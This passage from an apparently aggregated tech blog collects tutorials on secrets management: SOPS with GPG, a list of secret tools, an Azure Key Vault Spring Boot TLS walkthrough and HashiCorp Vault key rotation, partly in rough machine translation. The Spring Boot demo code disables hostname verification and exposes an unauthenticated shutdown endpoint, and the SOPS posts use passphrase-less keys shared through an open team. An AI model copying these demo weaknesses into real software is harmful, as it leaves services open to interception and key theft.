-like) on the same machine/as the same user, we could run:
$ sops --decrypt test.yaml username: jonathan.archer password: StarfleetAcademy2184 pin: 1234 description: my login
As the private key is stored in the user’s keystore (in $HOME/.gnupg
) and doesn’t require a passphrase the decryption happens fully unattended. The decryption could therefore get incorporated in scripts (i.e. in an install script for our app).
5. Now what if we would need to be able to decrypt the secrets in the yaml file on another machine (i.e. to decrypt it on an app server as part of our app’s installation/upgrade procedure or on a CI runner for running tests)?
For this we could export the pgp private key from our current machine to the other machine.
On the current machine (workstation):
$ gpg --export -a "myapp-config-1@mydomain.local" > public.key $ gpg --export-secret-key -a "myapp-config-1@mydomain.local" > private.key
And on the new machine (server), under the relevant user:
gpg --import public.key gpg --allow-secret-key-import --import private.key
Now it should be possible to run sops --decrypt test.yaml
unattended on our server machine as well.
一个小小的免责声明
这个工作流程(我相信)使用和入门相对简单(因此很实用),同时比在配置文件中使用纯文本密码有了很大的改进。 但它可能存在某些缺陷。 因此,它可能适合也可能不适合特定用例的安全要求,并且可能有更好的选择(即使使用 sops,它具有更强大的功能)。 正如圣堂武士所说:你必须选择,但要明智地选择。
- 207 次浏览
【数据安全】密钥库和密钥管理解决方案
视频号
微信公众号
知识星球
https://github.com/Infisical/infisical
Infisical is the open-source secret management platform: Sync secrets across your team/infrastructure and prevent secret leaks.
https://github.com/bitwarden/sdk
Secrets Manager SDK
https://github.com/tellerops/teller
Cloud native secrets management for developers - never leave your command line for secrets.
https://github.com/eth0izzle/shhgit
Ah shhgit! Find secrets in your code. Secrets detection for your GitHub, GitLab and Bitbucket repositories.
https://github.com/bitwarden/server
The core infrastructure backend (API, database, Docker, etc).
https://github.com/square/keywhiz
A system for distributing and managing secrets
https://github.com/sniptt-official/ots
Share end-to-end encrypted secrets with others via a one-time URL
https://github.com/manifoldco/torus-cli
A secure, shared workspace for secrets
https://github.com/deepfence/SecretScanner
Find secrets and passwords in container images and file systems
https://github.com/GoogleCloudPlatform/berglas
A tool for managing secrets on Google Cloud
the Crypto Undertaker
https://github.com/jkroepke/helm-secrets
A helm plugin that help manage secrets with Git workflow and store them anywhere
https://github.com/freeipa/freeipa
Mirror of FreeIPA, an integrated security information management solution
https://github.com/stakater/Reloader
A Kubernetes controller to watch changes in ConfigMap and Secrets and do rolling upgrades on Pods with their associated Deployment, StatefulSet, DaemonSet and DeploymentConfig – [✩Star] if you're using it!
https://github.com/trufflesecurity/trufflehog
Find and verify credentials
https://github.com/tink-crypto/tink-java
https://github.com/tink-crypto
A multi-language, cross-platform library that provides cryptographic APIs that are secure, easy to use correctly, and hard(er) to misuse. See also: https://developers.google.com/tink.
The Tink Cryptography Library is split into multiple repositories.
Tink implementation | Repository |
---|---|
Tink Java | tink-crypto/tink-java |
Tink C++ | tink-crypto/tink-cc |
Tink Go | tink-crypto/tink-go |
Tink Python | tink-crypto/tink-py |
Tink Obj-C | tink-crypto/tink-objc |
We provide a command line interface for key management, named Tinkey
We also provide integrations with various key management systems (KMS) and other systems.
Tink extension | Repository |
---|---|
Tink Java AWS KMS extension | tink-crypto/tink-java-awskms |
Tink Java Google Cloud KMS extension | tink-crypto/tink-java-gcpkms |
Tink Java apps extension | tink-crypto/tink-java-apps |
Tink C++ AWS KMS extension | tink-crypto/tink-cc-awskms |
Tink C++ Google Cloud KMS extension | tink-crypto/tink-cc-gcpkms |
Tink Go AWS KMS extension | tink-crypto/tink-go-awskms |
Tink Go Google Cloud KMS extension | tink-crypto/tink-go-gcpkms |
Tink Go HashiCorp Vault KMS extension | tink-crypto/tink-go-hcvault |
https://github.com/pac4j/pac4j
https://github.com/cryptomator/cryptomator
Multi-platform transparent client-side encryption of your files in the cloud
https://medium.com/@cyberlands.io/best-secrets-management-solution-hash…
Best Secrets Management Solution: Hashicorp vs KeyWhiz
Encrypting Confidential Data at Rest
https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
https://kubernetes.io/docs/concepts/configuration/secret/
https://external-secrets.io/main/introduction/overview/
The External Secrets Operator extends Kubernetes with Custom Resources, which define where secrets live and how to synchronize them. The controller fetches secrets from an external API and creates Kubernetes secrets. If the secret from the external API changes, the controller will reconcile the state in the cluster and update the secrets accordingly.
https://cloud.yandex.com/en/services/lockbox
A service for creating and storing secrets in the Yandex Cloud infrastructure.
Create secrets in the management console or using the API.
https://walkingtree.tech/secrets-management-using-mozilla-sops/
As automation is taking place at a rapid pace, the areas where human intervention is involved are appearing as huge speed breakers. One such task is keeping the secret information with humans and providing necessary approvals as and when needed. This task does not involve a lot of logical thinking but the important aspect is keeping trustworthy information and using it for regular activity.
Keeping the secrets in a file and allowing access to information to a wider set of people will be a serious challenge. One way to solve this problem is to keep the secrets in a file but in an encrypted format and ensure only the target environment can decrypt. This way we can still allow the automation to happen and keep the environments secured.
In this blog, I will be touching upon the basics of securing secrets, introduce you to SOPS, explain to you how SOPS works and its effective use in building cloud-agnostic applications.
Manage Your Secrets with Mozilla SOPS and GitOps Toolkit (Flux CD v2)
https://medium.com/picus-security-engineering/manage-your-secrets-with-…
"Sealed Secrets" for Kubernetes
https://github.com/bitnami-labs/sealed-secrets
Safe storage of Kubernetes Secrets with Mozilla SOPS and IaC
https://softwaremill.com/safe-storage-of-kubernetes-secrets-with-mozill…
SOPS (Secrets OPerationS – Kubernetes Operator): Secure your sensitive data, while maintaining ease of use
https://deyan7.de/en/sops-secrets-operations-kubernetes-operator-secure…
Simplify and Secure Your Kubernetes Deployments with Mozilla SOPS
https://systemweakness.com/simplify-and-secure-your-aks-deployments-wit…
How to commit encrypted files to Git with Mozilla SOPS
https://blog.thenets.org/how-to-commit-encrypted-files-to-git-with-mozi…
Encrypt your Kubernetes Secrets with Mozilla SOPS
https://www.thorsten-hans.com/encrypt-your-kubernetes-secrets-with-mozi…
- 25 次浏览
【数据安全】教程:使用 Azure Key Vault 证书保护 Spring Boot 应用程序
本教程向你展示如何使用 Azure Key Vault 和 Azure 资源的托管标识通过 TLS/SSL 证书保护你的 Spring Boot(包括 Azure Spring 应用程序)应用程序。
生产级 Spring Boot 应用程序,无论是在云端还是在本地,都需要使用标准 TLS 协议对网络流量进行端到端加密。您遇到的大多数 TLS/SSL 证书都可以从公共根证书颁发机构 (CA) 中发现。然而,有时候,这种发现是不可能的。当证书不可发现时,应用程序必须有某种方式来加载此类证书,将它们呈现给入站网络连接,并从出站网络连接中接受它们。
Spring Boot 应用程序通常通过安装证书来启用 TLS。证书安装到运行 Spring Boot 应用程序的 JVM 的本地密钥库中。使用 Azure 上的 Spring,不会在本地安装证书。相反,Microsoft Azure 的 Spring 集成提供了一种安全且无摩擦的方式来借助 Azure Key Vault 和 Azure 资源的托管身份来启用 TLS。
在本教程中,您将学习如何:
- 使用系统分配的托管标识创建 GNU/Linux VM
- 创建 Azure Key Vault
- 创建自签名 TLS/SSL 证书
- 将自签名 TLS/SSL 证书存储在 Azure Key Vault 中
- 运行 Spring Boot 应用程序,其中入站连接的 TLS/SSL 证书来自 Azure Key Vault
- 运行 Spring Boot 应用程序,其中用于出站连接的 TLS/SSL 证书来自 Azure Key Vault
重要的
目前,Spring Cloud Azure Certificate starter 4.x 版本不支持 TLS/mTLS,它们仅自动配置 Key Vault 证书客户端。因此,如果要使用 TLS/mTLS,则无法迁移到版本 4.x。
先决条件
- 如果您没有 Azure 订阅,请在开始之前创建一个免费帐户。
- curl命令。大多数类 UNIX 操作系统都预装了此命令。特定于操作系统的客户端可在官方 curl 网站上获得。
- jq 命令。大多数类 UNIX 操作系统都预装了此命令。官方 jq 网站上提供了特定于操作系统的客户端。
- Azure CLI,版本 2.38 或更高版本
- 受支持的 Java 开发工具包 (JDK),版本 8。有关详细信息,请参阅 Azure 和 Azure Stack 上的 Java 支持。
- Apache Maven,版本 3.0。
重要的
完成本文中的步骤需要 Spring Boot 2.5 或更高版本。
使用系统分配的托管标识创建 GNU/Linux VM
使用以下步骤创建具有系统分配的托管标识的 Azure VM,并准备运行 Spring Boot 应用程序。有关 Azure 资源的托管标识的概述,请参阅什么是 Azure 资源的托管标识?。
- 打开 Bash 外壳。
- 注销并删除一些身份验证文件以删除任何挥之不去的凭据。
az logout rm ~/.azure/accessTokens.json rm ~/.azure/azureProfile.json
- 登录到 Azure CLI。
az login
- 设置订阅 ID。请务必将占位符替换为适当的值。
az account set -s <your subscription ID>
- 创建 Azure 资源组。记下资源组名称以备后用。
az group create \ --name <your resource group name> \ --location <your resource group region>
- 设置默认资源组。
az configure --defaults group=<your resource group name>
- 使用 UbuntuServer 提供的映像 UbuntuLTS 创建启用了系统分配的托管标识的 VM 实例。
az vm create \ --name <your VM name> \ --debug \ --generate-ssh-keys \ --assign-identity \ --role contributor \ --scope /subscriptions/<your subscription> \ --image UbuntuLTS \ --admin-username azureuser
在 JSON 输出中,记下 publicIpAddress 和 systemAssignedIdentity 属性的值。您将在本教程的后面部分使用这些值。
笔记
UbuntuLTS 这个名字是统一资源名称 (URN) 的别名,它是为像 UbuntuLTS 这样的流行图像创建的缩写版本。运行以下命令以表格格式显示缓存的流行图像列表:
az vm image list --output table
- 安装微软 OpenJDK。有关 OpenJDK 的完整信息,请参阅 Microsoft Build of OpenJDK。
ssh azureuser@<your VM public IP address>
- 添加存储库。替换以下命令中的版本占位符并执行:
wget https://packages.microsoft.com/config/ubuntu/{version}/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb
通过运行以下命令安装 Microsoft Build of OpenJDK:
sudo apt install apt-transport-https sudo apt update sudo apt install msopenjdk-11
创建和配置 Azure Key Vault
使用以下步骤创建 Azure Key Vault,并授予 VM 的系统分配托管标识访问 Key Vault 以获取证书的权限。
在资源组中创建 Azure Key Vault。
az keyvault create \ --name <your Key Vault name> \ --location <your resource group region> export KEY_VAULT_URI=$(az keyvault show --name <your Key Vault name> | jq -r '.properties.vaultUri')
记下 KEY_VAULT_URI 值。你稍后会用到它。
- 授予 VM 使用证书密钥保管库的权限。
az keyvault set-policy \ --name <your Key Vault name> \ --object-id <your system-assigned identity> \ --secret-permissions get list \ --certificate-permissions get list import
创建并存储自签名 TLS/SSL 证书
本教程中的步骤适用于直接存储在 Azure Key Vault 中的任何 TLS/SSL 证书(包括自签名)。自签名证书不适合在生产中使用,但对开发和测试应用程序很有用。本教程使用自签名证书。要创建证书,请使用以下命令。
az keyvault certificate create \ --vault-name <your Key Vault name> \ --name mycert \ --policy "$(az keyvault certificate get-default-policy)"
使用安全入站连接运行 Spring Boot 应用程序
在本部分中,你将创建一个 Spring Boot 入门应用程序,其中用于入站连接的 TLS/SSL 证书来自 Azure Key Vault。
要创建应用程序,请使用以下步骤:
- 浏览到 https://start.spring.io/。
- 选择此列表后面的图片中显示的选项。
Project: Maven Project Language: Java Spring Boot: 2.7.4 Group: com.contoso (You can put any valid Java package name here.) Artifact: ssltest (You can put any valid Java class name here.) Packaging: Jar Java: 11
- 选择添加依赖项....
- 在文本字段中,键入 Spring Web 并按 Ctrl+Enter。
- 在文本字段中键入 Azure Support,然后按 Enter。您的屏幕应如下所示。
- 带有基本选项的 Spring Initializr 的屏幕截图。
- 在页面底部,选择“生成”。
- 出现提示时,将项目下载到本地计算机上的某个路径。本教程使用当前用户主目录中的 ssltest 目录。上面的值将为您提供该目录中的 ssltest.zip 文件。
启用 Spring Boot 应用程序以加载 TLS/SSL 证书
要使应用程序能够加载证书,请使用以下步骤:
- 解压缩 ssltest.zip 文件。
- 删除测试目录及其子目录。本教程忽略测试,因此您可以放心删除该目录。
- 将 src/main/resources 中的 application.properties 重命名为 application.yml。
- 文件布局如下所示。
├── HELP.md
├── mvnw
├── mvnw.cmd
├── pom.xml
└── src
└── main
├── java
│ └── com
│ └── contoso
│ └── ssltest
│ └── SsltestApplication.java
└── resources
├── application.yml
├── static
└── templates
- 修改 POM 以添加对 azure-spring-boot-starter-keyvault-certificates 的依赖。将以下代码添加到 pom.xml 文件的 <dependencies> 部分。
<dependency> <groupId>com.azure.spring</groupId> <artifactId>azure-spring-boot-starter-keyvault-certificates</artifactId> </dependency>
- 编辑 src/main/resources/application.yml 文件,使其具有以下内容。
server: ssl: key-alias: <the name of the certificate in Azure Key Vault to use> key-store-type: AzureKeyVault trust-store-type: AzureKeyVault port: 8443 azure: keyvault: uri: <the URI of the Azure Key Vault to use>
- 这些值使 Spring Boot 应用程序能够执行 TLS/SSL 证书的加载操作,如本教程开头所述。下表描述了属性值。
Property Name | Explanation |
---|---|
server.port | The local TCP port on which to listen for HTTPS connections. |
server.ssl.key-alias | The value of the --name argument you passed to az keyvault certificate create . |
server.ssl.key-store-type | Must be AzureKeyVault . |
server.ssl.trust-store-type | Must be AzureKeyVault . |
azure.keyvault.uri | The vaultUri property in the return JSON from az keyvault create . You saved this value in an environment variable. |
唯一特定于 Key Vault 的属性是 azure.keyvault.uri。该应用在其系统分配的托管标识已被授予访问 Key Vault 的 VM 上运行。因此,该应用程序也已被授予访问权限。
这些更改使 Spring Boot 应用程序能够加载 TLS/SSL 证书。在下一节中,您将允许应用程序执行 TLS/SSL 证书的接受操作,如本教程开头所述。
创建一个 Spring Boot REST 控制器
要创建 REST 控制器,请使用以下步骤:
- 编辑 src/main/java/com/contoso/ssltest/SsltestApplication.java 文件,使其具有以下内容。
package com.contoso.ssltest; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @SpringBootApplication @RestController public class SsltestApplication { public static void main(String[] args) { SpringApplication.run(SsltestApplication.class, args); } @GetMapping(value = "/ssl-test") public String inbound(){ return "Inbound TLS is working!!"; } @GetMapping(value = "/exit") public void exit() { System.exit(0); } }
- 从未经身份验证的 REST GET 调用中调用 System.exit(0) 仅用于演示目的。不要在实际应用程序中使用 System.exit(0)。
此代码说明了本教程开头提到的当前操作。以下列表突出显示了有关此代码的一些详细信息:
- 现在在 Spring Initializr 生成的 SsltestApplication 类上有一个 @RestController 注释。
- 有一个用@GetMapping 注释的方法,其中包含您将进行的HTTP 调用的值。
- 当浏览器向 /ssl-test 路径发出 HTTPS 请求时,入站方法只返回一条问候语。 inbound 方法说明了服务器如何向浏览器提供 TLS/SSL 证书。
- exit 方法将导致 JVM 在被调用时退出。此方法有助于使示例易于在本教程的上下文中运行。
- 打开一个新的 Bash shell 并导航到 ssltest 目录。运行以下命令。
mvn clean package
- Maven 编译代码并将其打包成可执行的 JAR 文件
验证在 <您的资源组名称> 中创建的网络安全组是否允许来自您的 IP 地址的端口 22 和 8443 上的入站流量。要了解如何配置网络安全组规则以允许入站流量,请参阅创建、更改或删除网络安全组的使用安全规则部分。
- 将可执行 JAR 文件放在 VM 上。
cd target sftp azureuser@<your VM public IP address> put *.jar
在服务器上运行应用程序
现在您已经构建了 Spring Boot 应用程序并将其上传到 VM,请使用以下步骤在 VM 上运行它并使用 curl 调用 REST 端点。
- 使用 SSH 连接到 VM,然后运行可执行 jar。
set -o noglob ssh azureuser@<your VM public IP address> "java -jar *.jar"
- 打开一个新的 Bash shell 并执行以下命令以验证服务器是否提供 TLS/SSL 证书。
curl --insecure https://<your VM public IP address>:8443/ssl-test
- 调用退出路径以终止服务器并关闭网络套接字。
curl --insecure https://<your VM public IP address>:8443/exit
现在您已经看到使用自签名 TLS/SSL 证书加载和呈现操作,您将对应用程序进行一些微不足道的更改以查看接受操作。
使用安全出站连接运行 Spring Boot 应用程序
在本节中,你将修改上一节中的代码,以便出站连接的 TLS/SSL 证书来自 Azure Key Vault。因此,从 Azure Key Vault 中可以满足加载、呈现和接受操作。
修改 SsltestApplication 以说明出站 TLS 连接
使用以下步骤修改应用程序:
- 通过将以下代码添加到 pom.xml 文件的 <dependencies> 部分来添加对 Apache HTTP 客户端的依赖。
<dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.13</version> </dependency>
- 添加一个名为 ssl-test-outbound 的新 rest 端点。此端点为自身打开一个 TLS 套接字,并验证 TLS 连接是否接受 TLS/SSL 证书。
用以下代码替换 SsltestApplication.java 的内容。
package com.contoso.ssltest; import java.security.KeyStore; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.SSLContext; import javax.net.ssl.SSLSession; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import com.azure.security.keyvault.jca.KeyVaultLoadStoreParameter; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.http.client.HttpComponentsClientHttpRequestFactory; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.client.RestTemplate; import org.apache.http.conn.ssl.SSLConnectionSocketFactory; import org.apache.http.conn.ssl.TrustSelfSignedStrategy; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.ssl.SSLContexts; @SpringBootApplication @RestController public class SsltestApplication { public static void main(String[] args) { SpringApplication.run(SsltestApplication.class, args); } @GetMapping(value = "/ssl-test") public String inbound(){ return "Inbound TLS is working!!"; } @GetMapping(value = "/ssl-test-outbound") public String outbound() throws Exception { KeyStore azureKeyVaultKeyStore = KeyStore.getInstance("AzureKeyVault"); KeyVaultLoadStoreParameter parameter = new KeyVaultLoadStoreParameter( System.getProperty("azure.keyvault.uri")); azureKeyVaultKeyStore.load(parameter); SSLContext sslContext = SSLContexts.custom() .loadTrustMaterial(azureKeyVaultKeyStore, null) .build(); HostnameVerifier allowAll = (String hostName, SSLSession session) -> true; SSLConnectionSocketFactory csf = new SSLConnectionSocketFactory(sslContext, allowAll); CloseableHttpClient httpClient = HttpClients.custom() .setSSLSocketFactory(csf) .build(); HttpComponentsClientHttpRequestFactory requestFactory = new HttpComponentsClientHttpRequestFactory(); requestFactory.setHttpClient(httpClient); RestTemplate restTemplate = new RestTemplate(requestFactory); String sslTest = "https://localhost:8443/ssl-test"; ResponseEntity<String> response = restTemplate.getForEntity(sslTest, String.class); return "Outbound TLS " + (response.getStatusCode() == HttpStatus.OK ? "is" : "is not") + " Working!!"; } @GetMapping(value = "/exit") public void exit() { System.exit(0); } }
- 构建应用程序。
cd ssltest mvn clean package
- 使用本文前面的相同 sftp 命令再次上传应用程序。
cd target sftp <your VM public IP address> put *.jar
- 在 VM 上运行应用程序。
set -o noglob ssh azureuser@<your VM public IP address> "java -jar *.jar"
- 服务器运行后,验证服务器是否接受 TLS/SSL 证书。在发出上一个 curl 命令的同一个 Bash shell 中,运行以下命令。
curl --insecure https://<your VM public IP address>:8443/ssl-test-outbound
您应该会看到消息出站 TLS 正在工作!!。
- 调用退出路径以终止服务器并关闭网络套接字。
curl --insecure https://<your VM public IP address>:8443/exit
你现在已经看到了一个简单的说明,说明了使用存储在 Azure Key Vault 中的自签名 TLS/SSL 证书进行加载、呈现和接受操作。
清理资源
使用完本教程中创建的 Azure 资源后,可以使用以下命令删除它们:
az group delete --name <your resource group name>
- 64 次浏览
【数据安全】用SOPS和GPG在2分钟内从零到保密
视频号
微信公众号
知识星球
You probably heard about mozilla/sops, but even if the readme is amazingly detailed, a from-scratch example is always nice to have.
sops
, in a nutshell, bridges the gap between various key management services (PGP, AWS KMS, GCP KMS, Azure Key Vault) and you. This post will attempt to get you on your feet as fast as possible, in 3 simple steps: from “I have no idea what to do with my hands” to “No way it’s that easy!”.
Install the dependencies:
$ brew install sops gnupg
And run these 3-ish commands to convince yourself:
# Clone the example repository
$ git clone https://github.com/ervinb/sops-gpg-example.git
$ cd sops-gpg-example
# Import the encryption key
$ gpg --import <(curl -L https://gist.githubusercontent.com/ervinb/288c44a45cf2614a0684bea333b3aa36/raw/sops-gpg-example.asc)
# Decrypt and open the file
$ sops secrets/mysecrets.dev.enc.yaml
Your day-to-day interaction with this would be only the last line.
gpg --import
has to be executed only once, after which the key will be part of the local keychain (persists reboots as well). That’s literally all there is to it, after following the below steps.
Do it yourself
Start the stopwatch - we have 2 minutes.
- Generate a PGP key
$ gpg --batch --generate-key <<EOF %no-protection Key-Type: default Subkey-Type: default Name-Real: Foo Bar Expire-Date: 0 EOF
The key is created without a passphrase because of the
%no-protection
option. Otherwise aPassphrase: <pass>
would be required. - Create a sops configuration file with the key’s fingeprint. This is the ✨ magic ✨ ingredient, which makes the onboarding so frictionless.
$ gpg --list-keys pub rsa2048 2020-12-06 [SC] 7E6DC556C66C43D928A95EA3715A56B718EAF0B6 uid [ultimate] Foo Bar sub rsa2048 2020-12-06 [E] $ cat .sops.yaml creation_rules: - path_regex: secrets/.*\.dev\.enc\.yaml$ pgp: 7E6DC556C66C43D928A95EA3715A56B718EAF0B6
This is also perfect if you want more control over the secrets, like using different keys for different environments. For example
secrets/*.dev.enc.yaml
could use one key, andsecrets/*.prod.enc.yaml
another one. More details on this here. - Use
sops
to edit and create new secrets
$ sops secrets/mysecrets.dev.enc.yaml
Then it just a question of distributing the keys to the right people and/or environment. Which brings us to Keybase.
Note for Linux users
I’ve found that both on Fedora and Ubuntu, for whatever reason, creating a new file with sops
throws the following cryptic error:
$ sops secrets/new.dev.enc.yaml
<save the file in the editor>
File has not changed, exiting.
The solution is to create the file first and encrypt it in-place afterwards:
$ vi secrets/new.dev.enc.yaml
$ sops -i -e secrets/new.dev.enc.yaml
Distributing the key to firends and family
To extract the PGP key from your local keychain, use:
$ gpg --list-keys
-------------------------------
pub rsa2048 2020-12-06 [SC]
7E6DC556C66C43D928A95EA3715A56B718EAF0B6
uid [ultimate] Foo Bar
sub rsa2048 2020-12-06 [E]
$ gpg --armor --export-secret-keys 7E6DC556C66C43D928A95EA3715A56B718EAF0B6 > key.asc
--armor
makes it so that the output is ASCII (.asc
) formatted, and not in binary (default).
One of the most seamless ways to distribute keys and other sensitive files is Keybase. It has a low barrier of entry, and you can control the granularity of access with “teams”. It also integrates nicely with the filesystem.
- Install Keybase
$ brew install keybase
- Create an account
- Create a new team and store the secret key under the team’s folder
After that, you grab the universal path and import the key to anywhere with gpg
installed. Your peers can also grab the key after they join your team.
The command below imports the same PGP key we used at the beginning of the post. The sopsgpg
team is open, so you can join if you want to test it out.
## The path is Keybase specific and it will work on any platform - no need to use your local filesystem path.
## Join the 'sopsgpg' team in Keybase first.
$ gpg --import <(keybase fs read /keybase/team/sopsgpg/pgp/key.asc)
Use it in your applications
To use the decrypted values in your application, you can just add a line to your setup scripts to run
sops -d secrets/mysecret.dev.enc.yaml > configuration.yaml
(make sure to add the decrypted files to .gitignore
)
For Terraform projects use terraform-sops, and if you’re into Terragrunt, it has a built-in sops_decrypt_file function.
You will be running sops
only to create or edit secrets, otherwise, it will be invisible (and incredible).
- 10 次浏览
【数据安全】采用HashiCorp Vault :第N天
存储密钥轮换
存储密钥对存储在Vault中的每个秘密进行加密,并且仅在内存中未加密。 只需向正确的API端点或CLI发送呼叫,即可在线轮换此密钥:
$ vault operator rotate Key Term 3 Install Time 01 May 17 10:30 UTC
这需要在策略上设置的权限。从旋转密钥的时间点开始,每个新密钥都用新密钥加密。这是一个相当简单的过程,大多数组织每六个月进行一次,除非有妥协。
主钥匙旋转
主密钥包装存储密钥,并且只在内存中未加密。使用自动开封时,主密钥将由密封密钥加密,并且将为某些操作提供恢复密钥。此过程也是在线的,不会造成任何中断,但需要密钥持有者输入其当前的分片或恢复密钥以验证过程,并且它的时间限制。该程序的执行方式如下:
- 密钥持有者将其GPG公钥发送给运营商。
- 操作员将启动重新键入过程,提供密钥持有者GPG公钥,并从Vault中检索随机数。
- 该随机数被移交给主要官员以验证该操作。法定人数的主要官员继续提交他们的钥匙。
- 运营商(一旦达到法定人数的关键人员),可以检索使用GPG加密的新密钥,并将其交给关键人员。
- 主要官员可以着手验证他们的新共享。
只要钥匙扣长时间不再可用,就应执行此程序。传统上,在组织中与人力资源部门进行一定程度的协作,或者这些程序已经存在于使用HSM的组织,并且可以用于Vault。
该程序的说明可以在下面找到。
除非有妥协,否则此程序通常由组织每年执行。
密封钥匙旋转
这个程序因密封而异。
对于PKCS#11密封,传统上操作员只需更改key_label和hmac_key_label参数。 在检测到标签已更改且与用于加密主密钥的标签不匹配时,Vault将仅重新包装它:
2018-09-05T11:56:22.892Z [DEBUG] cluster listener addresses synthesized: cluster_addresses=[127.0.0.1:8201] 2018-09-05T11:56:22.892Z [INFO ] core: stored unseal keys supported, attempting fetch 2018-09-05T11:56:22.892Z [DEBUG] sealwrap: unwrapping entry: key=core/hsm/barrier-unseal-keys 2018-09-05T11:56:22.893Z [DEBUG] sealwrap: unwrapping entry: key=core/keyring 2018-09-05T11:56:22.895Z [INFO ] core: vault is unsealed 2018-09-05T11:56:22.895Z [INFO ] core: post-unseal setup starting 2018-09-05T11:56:22.895Z [DEBUG] core: clearing forwarding clients 2018-09-05T11:56:22.895Z [DEBUG] core: done clearing forwarding clients 2018-09-05T11:56:22.895Z [DEBUG] sealwrap: checking upgrades 2018-09-05T11:56:22.895Z [DEBUG] sealwrap: unwrapping entry: key=core/hsm/barrier-unseal-keys 2018-09-05T11:56:22.896Z [TRACE] sealwrap: wrapping entry: key=core/hsm/barrier-unseal-keys 2018-09-05T11:56:22.898Z [DEBUG] sealwrap: unwrapping entry: key=core/keyring 2018-09-05T11:56:22.899Z [TRACE] sealwrap: wrapping entry: key=core/keyring 2018-09-05T11:56:22.900Z [DEBUG] sealwrap: upgrade completed successfully 2018-09-05T11:56:22.900Z [DEBUG] sealwrap: unwrapping entry: key=core/wrapping/jwtkey 2018-09-05T11:56:22.902Z [TRACE] sealwrap: wrapping entry: key=core/wrapping/jwtkey
可以使用HSM工具或pkcs11-list命令验证密钥的存在:
$ pkcs11-list Enter Pin: object[0]: handle 2 class 4 label[11] 'vault_key_2' id[10] 0x3130323636303831... object[2]: handle 4 class 4 label[16] 'vault_hmac_key_1' id[9] 0x3635313134313231... object[3]: handle 5 class 4 label[11] 'vault_key_1' id[10] 0x3139303538303233...
DR推广
将执行DR促销程序以在灾难性故障时继续服务,这将使主集群无法使用。如果主群集正在使用中,则不应执行此过程,因为它可能会产生意外后果。
触发DR促销的可能原因包括但不限于:
- 主数据中心故障
- 主群集上的数据损坏
- 密封键丢失
- 密封密钥篡改
此程序包括保险柜操作员和主要官员,类似于启封或关键轮换,因为法定人数需要通过提交其关键份额来批准操作。
- 运营商提交将辅助群集提升为主要群组的请求。这是DR群集可用的唯一端点之一,在正常参数下无法运行。它将检索操作的nonce。
- 主要官员将继续提交他们的关键碎片。
- 一旦达到法定人数的关键人员,操作员就可以检索操作密钥。
- 该操作键是一次性使用,操作员将使用它来开始促销过程。
该过程如下图所示。
政策维护模式
当集中管理策略时,实现管道以维护Vault中的策略添加是非常常见的,以便启用合并批准系统,潜在的消费者可以请求访问,并且运营商和中央安全性都可以允许合并。 Terraform可用于读取策略文件并确保代码和策略之间的符合性。
策略模板还可用作减少维护策略数量的方法,基于来自属性的插值或来自实体的键值对。
例如,从包含“应用程序”键的实体,带有“APMA”值:
$ vault read identity/entity/id/670577b3-0acb-2f5c-6e14-0222d3478ce3 Key Value --- ----- aliases [map[canonical_id:670577b3-0acb-2f5c-6e14-0222d3478ce3 creation_time:2018-11-13T13:15:04.400343Z mount_path:auth/userpass/ mount_type:userpass name:nico id:14129432-cf46-d6a6-3bdf-dcad71a51f4a last_update_time:2018-11-13T13:15:04.400343Z merged_from_canonical_ids:<nil> metadata:<nil> mount_accessor:auth_userpass_31a3c976]] creation_time 2018-11-13T13:14:57.741079Z direct_group_ids [] disabled false group_ids [] id 670577b3-0acb-2f5c-6e14-0222d3478ce3 inherited_group_ids [] last_update_time 2018-11-13T13:20:53.648665Z merged_entity_ids <nil> metadata map[application:APMA] name nico policies [default test]
可以存在一个策略来访问与已定义键的值匹配的静态秘密装载:
path "{{identity.entity.metadata.application}}/*" { capabilities = ["read","create","update","delete"] }
可以通过Sentinel引入治理导向策略,作为角色或端点管理策略。
应用上线
将新秘密添加到Vault并使新应用程序能够使用它们是Vault中最常规的操作。
每个组织在秘密生成,消费和移交点方面都有自己的指导方针,但一般来说,提前商定以下几个方面:
- 什么是消费者参与这个过程。消费者将负责通过Vault进行身份验证,保护令牌,然后获取机密,或者期望存在一定程度的自动化以保证令牌前进。切换点需要事先商定。
- 是否有一个团队处理运行时,因此,开发人员没有参与,应用程序外部的工具将用于消耗秘密。
- 消费者是命名空间的一部分,因此应该为新应用程序创建角色。
- 如果使用静态机密,消费者是否希望将密钥手动存储到Vault中,或者是否会由进程自动刷新。
最常见的是,如前所述,组织首先审核已存储在多个源中的静态密码,并将其存储到Vault中以使其受到管理。从那里,应用程序可以使用上述模式来使用它,并且可以引入过程来管理它们的生命周期,或者有效地将生命周期管理转移到秘密引擎。
否则,入门应用程序的步骤非常通用:
- 使用Vault设置身份验证,或者只是创建一个映射到策略的角色(除非使用上面提到的技术之一)
- 定义将存储秘密的位置
- 设置应用程序以使用它
其他资源
- What is the crawl, walk, run journey for using Vault?
- How do security teams keep up with DevOps and deploy security at scale?
- How long does it take to roll out Vault?
- What does Dev, Ops, and Security do in a Vault rollout?
- What are the Dev, Ops, and Security journeys for secrets management?
- How should Dev, Ops, and Security collaborate on secrets management?
- What application should I secure with Vault first?
原文:https://www.hashicorp.com/resources/adopting-hashicorp-vault#day-n
本文:https://pub.intelligentx.net/adopting-hashicorp-vault-day-n
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 83 次浏览
【数据安全】采用HashiCorp Vault :第一天
第一天
部署模式
推荐体系结构的首选部署模式是执行HashiCorp Vault和Consul的不可变构建,并执行蓝/绿部署。因此,建议使用HashiCorp Packer等工具为不同平台构建不可变图像,HashiCorp提供了许多关于如何通过现有CI / CD编排构建这些元素的示例。
HashiCorp认识到有些组织没有采用这些模式,因此有许多配置管理模式可供安装,升级和配置Vault,可在不同的存储库中使用:
- 在Ansible Galaxy中,Brian Shumate的Vault角色
